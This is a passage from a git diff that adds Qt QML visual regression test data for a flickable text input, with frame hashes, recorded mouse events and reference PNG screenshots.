+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3616
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3632
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3648
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3664
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3680
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.0.png
new file mode 100644
index 0000000..431bed8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.1.png
new file mode 100644
index 0000000..9708b4f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.2.png
new file mode 100644
index 0000000..7034946
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.3.png
new file mode 100644
index 0000000..7c56f00
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.4.png
new file mode 100644
index 0000000..431bed8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.5.png
new file mode 100644
index 0000000..30b7a08
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.6.png
new file mode 100644
index 0000000..54e13cb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.7.png
new file mode 100644
index 0000000..34c099b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.qml
new file mode 100644
index 0000000..de69c6a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.qml
@@ -0,0 +1,3279 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "flickableInput.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 48
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 64
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 80
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 96
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 112
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 128
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 144
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 160
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 176
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 192
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 208
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 224
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 240
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 256
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 272
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 288
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 304
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 320
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 336
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 352
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 368
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 384
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 400
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 416
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 432
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 448
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 464
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 480
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 496
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 512
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 528
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 544
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 560
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 576
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 592
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 608
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 624
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 640
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 656
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 672
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 688
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 704
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 720
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 736
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 752
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 768
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 39; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 784
+ hash: "6ef5c0ad42aca699271501f9358d3de6"
+ }
+ Frame {
+ msec: 800
+ hash: "6ef5c0ad42aca699271501f9358d3de6"
+ }
+ Frame {
+ msec: 816
+ hash: "6ef5c0ad42aca699271501f9358d3de6"
+ }
+ Frame {
+ msec: 832
+ hash: "6ef5c0ad42aca699271501f9358d3de6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 848
+ hash: "6ef5c0ad42aca699271501f9358d3de6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 864
+ hash: "c54c442eb01186dc8d5be7ff7b242aa1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 880
+ hash: "8eb5252ed783eae4dd998ea5a451c6bb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 62; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 896
+ hash: "f80423adedb40b1c9ed88bb171590626"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 73; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 79; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 912
+ hash: "afb2d22b60113d05b038fd09b5966151"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 84; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 928
+ hash: "e0a4a243acd0c4f3960ea77fdb5e30c1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 101; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 944
+ hash: "24c5185a748dc4b02fdd40fd2d0420ff"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 960
+ hash: "e271a2cd9847828da3e39c1e618f828a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 117; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 976
+ image: "flickableInput.1.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 127; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 132; y: 6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 992
+ hash: "3f40064784f716ce75ef9390d90a1eac"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 136; y: 6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 139; y: 6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1008
+ hash: "77a95b3d8d4682eb8e613bd86ea7b3c7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 142; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 145; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1024
+ hash: "308ea214fc63e47141623bc436df0efc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 148; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 150; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1040
+ hash: "3e0a860238ab282aebd733a92321f86f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 154; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 156; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1056
+ hash: "ed4c6a18ed003922f5724ebc8e798c6c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 159; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 161; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1072
+ hash: "ed4c6a18ed003922f5724ebc8e798c6c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 163; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 165; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1088
+ hash: "90bc837ada7b6cd08028e790b1a87ae2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 166; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 169; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1104
+ hash: "90bc837ada7b6cd08028e790b1a87ae2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 170; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 171; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1120
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 173; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1136
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 174; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1152
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1168
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 175; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1184
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 176; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1200
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1216
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1232
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1248
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1264
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1280
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1296
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1312
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1328
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1344
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1360
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1376
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 176; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1392
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1408
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1424
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1440
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1456
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1472
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1488
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1504
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1520
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1536
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1552
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1568
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1584
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1600
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 1616
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1632
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1648
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1664
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1680
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1696
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1712
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1728
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1744
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1760
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1776
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1792
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1808
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1824
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1840
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1856
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1872
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1888
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1904
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1920
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1936
+ image: "flickableInput.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1968
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 1984
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2000
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2016
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2032
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2048
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2064
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2080
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2096
+ hash: "44850466b240778a11644fdea11d26d0"
+ }
+ Frame {
+ msec: 2112
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2128
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2144
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2160
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2176
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2192
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2208
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2224
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2240
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2256
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2272
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Frame {
+ msec: 2288
+ hash: "556d042ec98e01fc1bdb0b2a5032a39e"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 17; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2304
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2320
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2336
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2352
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2368
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2384
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2400
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Frame {
+ msec: 2416
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2432
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 13
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 14
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2448
+ hash: "7b10e4abcc38d2359bb253f8477858e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 15
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2464
+ hash: "6865c870740497e31dfeb91e09737206"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2480
+ hash: "541acf0d74762064d970506a40f6600b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2496
+ hash: "956939b887f2bb0d45400214685f1fac"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2512
+ hash: "956939b887f2bb0d45400214685f1fac"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2528
+ hash: "3eff05a088e55df16f0b30546ad8c87f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2544
+ hash: "3eff05a088e55df16f0b30546ad8c87f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2560
+ hash: "5b0488fc2a7f840f73d4fc9d17a5a738"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2576
+ hash: "e17d039213c12708ff378789705e281a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2592
+ hash: "2e2eaab559d0dd7543c2e6e17e0f7740"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2608
+ hash: "49a9baad5178009409e28618a4132544"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2624
+ hash: "49a9baad5178009409e28618a4132544"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2640
+ hash: "a867fe835626e562d5e060c0b2bc4ea3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2656
+ hash: "1479e0feffdff866bfd14cbbf76017c7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2672
+ hash: "1479e0feffdff866bfd14cbbf76017c7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2688
+ hash: "dfa99d1eee5ed8d2913c0e603be3ad0e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2704
+ hash: "b55abbe5e7d2c3f5cdaf6dcf5a12c00a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2720
+ hash: "46be0cd1b01d80de8e9d8cd78364fdd4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2736
+ hash: "46be0cd1b01d80de8e9d8cd78364fdd4"
+ }
+ Frame {
+ msec: 2752
+ hash: "46be0cd1b01d80de8e9d8cd78364fdd4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2768
+ hash: "c9ec87a419171b4d6311a36c952eaef1"
+ }
+ Frame {
+ msec: 2784
